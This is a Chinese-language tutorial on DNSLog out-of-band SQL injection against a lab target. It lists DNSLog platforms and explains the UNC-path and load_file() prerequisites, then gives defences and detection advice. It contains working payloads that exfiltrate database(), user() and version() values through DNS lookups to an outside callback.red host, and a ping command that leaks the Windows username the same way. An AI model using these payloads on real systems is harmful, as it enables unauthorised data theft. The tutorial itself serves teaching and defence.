一、什么是DNSLog注入?
DNS是什么?
DNS(Domain Name System,域名系统)是互联网的一项核心服务,它就像互联网世界的"电话簿",负责将人类易记的域名(如http://www.baidu.com)转换为计算机能够识别的IP地址(如14.215.177.39)。
DNSLog注入是一种利用DNS协议进行信息外泄的攻击技术,它通过构造特殊的DNS查询请求,将敏感数据嵌入到域名查询中,使攻击者能够通过监控DNS日志来获取这些数据。
DNSLog平台
http://www.dnslog.cn/
https://www.callback.red/
ceye.io/introduce
以https://www.callback.red/为例
点击获取域名,新建一个页面,访问刚刚生成的域名
在cmd中执行ping %username.+刚刚获得的域名%
点击获取结果,可以看到以下信息
可以看到这里可以获取到我们主机的名称19802
,可以看到解析的日志会把%USERNAME% 的值给带出来,因为系统在ping命令之前会将%USERNAME% 的值解析出来,然后再和qpnf.callback.red 拼接起来。
二、DNSLog注入的工作原理
典型利用场景
显错注入(有回显点的),盲注(注入的效率低且线程高容易被waf拦截)
前提条件
- 数据库root权限,
- 数据库可读写权限,
secure_file_priv
值为空 - 攻击目标是windows系统(因为读取远程文件就要用到UNC路径,UNC路径就是类似 \softer 这样的形式的网络路径,就是 \ 。但Linux服务器没有unc路径)
UNC实例及解读: //xclay.net/share/张三/账单.docs
如果访问上述UNC路径的话,就会得到xclay.net 服务器的share共享文件夹下的张三文件夹下的 账单.docs文件
三、靶场攻击示例
这里使用到 load_file() 函数
语法:load_file(filename)
,读取一个文件并将 其内容作为字符串返回。如果filename是UNC路径中主机的地址,将会进行域名解析并留下记录,通过查看DNS解析记录(DNS日志)来达到有回显的目的。
- 注入语法:
load_file(concat('//',(数据库语句),'.dnslog地址/abc'))
注意:后面这个abc文件存不存在并不重要,随便写个文件就行,只要发生了DNS解析,我们就能看到我们所需要的东西,如这里的库名,但是这个文件必须要写,因为这是load_file函数所需
我这里输入1' and (load_file(concat('//',(select database()),'.a1q0.callback.red/abc')))%23
,大家注意看自己随机生成的dnslog是什么。
这里我们返回平台就可以看到我们想要的数据库名啦
以此类推,我们输入1' and (load_file(concat('//',(select user()),'.a1q0.callback.red/abc')))%23
就可以看到把我们的user的名字带出来了。
输入version()
就可以看到我们的版本号了。
四、防御措施
-
输入验证与过滤:
• 对用户输入进行严格验证
• 过滤特殊字符和DNS查询相关关键字 -
网络层防护:
• 限制出站DNS查询
• 实施网络分段,控制DNS流量 -
系统加固:
• 禁用不必要的DNS功能(如Windows的xp_dirtree)
• 更新和修补已知漏洞 -
监控与检测:
• 监控异常的DNS查询模式
• 设置DNS查询频率阈值 -
安全开发实践:
• 使用参数化查询防止SQL注入• 实施最小权限原则
检测DNSLog注入
- 日志分析:检查DNS日志中异常的查询模式
- 流量监控:检测包含敏感数据的DNS查询
- 工具辅助:使用安全工具如Burp Suite检测潜在的DNS外泄漏洞
五、总结
DNSLog注入是一种隐蔽的数据外泄技术,攻击者利用它可以在许多看似无害的场景下获取敏感信息。了解其工作原理和利用方式对于构建有效的防御策略至关重要。通过实施严格的输入验证、网络控制和持续监控,组织可以显著降低此类攻击的风险。
宇宙级免责声明
- 本文仅用于授权测试与教育目的,禁止用于非法渗透。
- 未经许可对他人系统测试可能触犯法律,后果自负。
- 技术研究应遵循"不伤害原则",维护网络安全生态。
🔐 合法研究途径
✅ CTF竞赛
✅ 漏洞赏金计划(如HackerOne)
✅ 企业授权渗透测试
✅ 本地靶场(如DVWA、WebGoat)
“Knowledge is power, but ethics is its compass.”
知识即力量,而道德是指南针。